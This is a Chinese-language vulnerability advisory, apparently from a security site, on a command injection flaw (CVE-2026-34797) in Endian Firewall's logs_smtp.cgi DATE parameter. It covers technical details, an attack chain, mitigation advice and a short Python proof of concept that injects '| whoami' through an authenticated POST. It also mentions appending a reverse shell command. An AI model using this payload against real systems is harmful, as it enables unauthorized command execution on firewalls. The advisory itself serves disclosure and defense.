IPBUF安全漏洞报告
English
CVE-2026-34797 CVSS 8.8 高危

CVE-2026-34797 Endian Firewall 命令注入漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34797
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

命令注入RCE远程代码执行Endian FirewallCGIPerl

漏洞概述

Endian Firewall Community版本3.3.25及更早版本中存在严重的命令注入漏洞。该漏洞源于/cgi-bin/logs_smtp.cgi接口对DATE参数的验证机制存在缺陷,未能完全过滤特殊字符。攻击者可利用该缺陷构造恶意请求,绕过不完整的正则表达式检查,进而在系统后台执行任意操作系统命令。此漏洞需低权限用户认证即可触发,成功利用可能导致系统被完全控制,造成数据泄露或破坏,威胁等级极高。

技术细节

该漏洞的核心机制在于Endian Firewall的Perl CGI脚本`logs_smtp.cgi`中存在不安全的文件操作。脚本将用户提交的`DATE`参数直接用于构造文件路径,并传递给Perl内置的`open()`函数进行处理。Perl的`open()`函数具有双重功能,既可以打开文件,也可以通过管道符(`|`)执行外部系统命令。尽管开发人员尝试使用正则表达式对输入进行过滤,但该正则规则设计不完整,未能覆盖所有危险的字符序列(如管道符或命令换行符)。因此,经过认证的攻击者可以构造特定的Payload(例如在参数末尾附加`| id`或`|反弹Shell命令`)。当脚本调用`open()`时,Perl解释器会将其识别为管道操作而非文件打开,从而在服务器端执行攻击者指定的任意OS命令。利用此漏洞,攻击者可从低权限Web用户提升至系统级权限,造成严重的远程代码执行后果。

攻击链分析

STEP 1
侦查
攻击者识别目标为Endian Firewall系统,并确定版本为3.3.25或更早。
STEP 2
认证
攻击者使用低权限账户登录Web管理界面,获取有效的会话Cookie。
STEP 3
漏洞利用
攻击者向/cgi-bin/logs_smtp.cgi发送POST请求,在DATE参数中注入包含管道符(|)的恶意Payload。
STEP 4
命令执行
后端Perl脚本处理DATE参数时,由于正则验证不完整,open()函数将管道符后的字符串作为系统命令执行。
STEP 5
建立控制
攻击者成功执行任意OS命令,可能获取Shell权限,进而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://<target-ip>/cgi-bin/logs_smtp.cgi" # Attacker's session cookie (Authentication required) cookies = { "sid": "valid_session_id_here" } # The vulnerable parameter is 'DATE'. # In Perl, open(FILE, "date | command") executes the command. # Payload injects a pipe followed by a shell command. payload_data = { "DATE": "2023-01-01 | whoami" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Endian Firewall Community <= 3.3.25

防御指南

临时缓解措施
如果无法立即升级,建议通过网络访问控制列表(ACL)严格限制对`/cgi-bin/logs_smtp.cgi`接口的访问来源,仅允许可信的管理IP连接。同时,加强系统日志监控,重点关注包含特殊字符(如`|`、`;`)的异常HTTP请求参数,以便及时发现潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表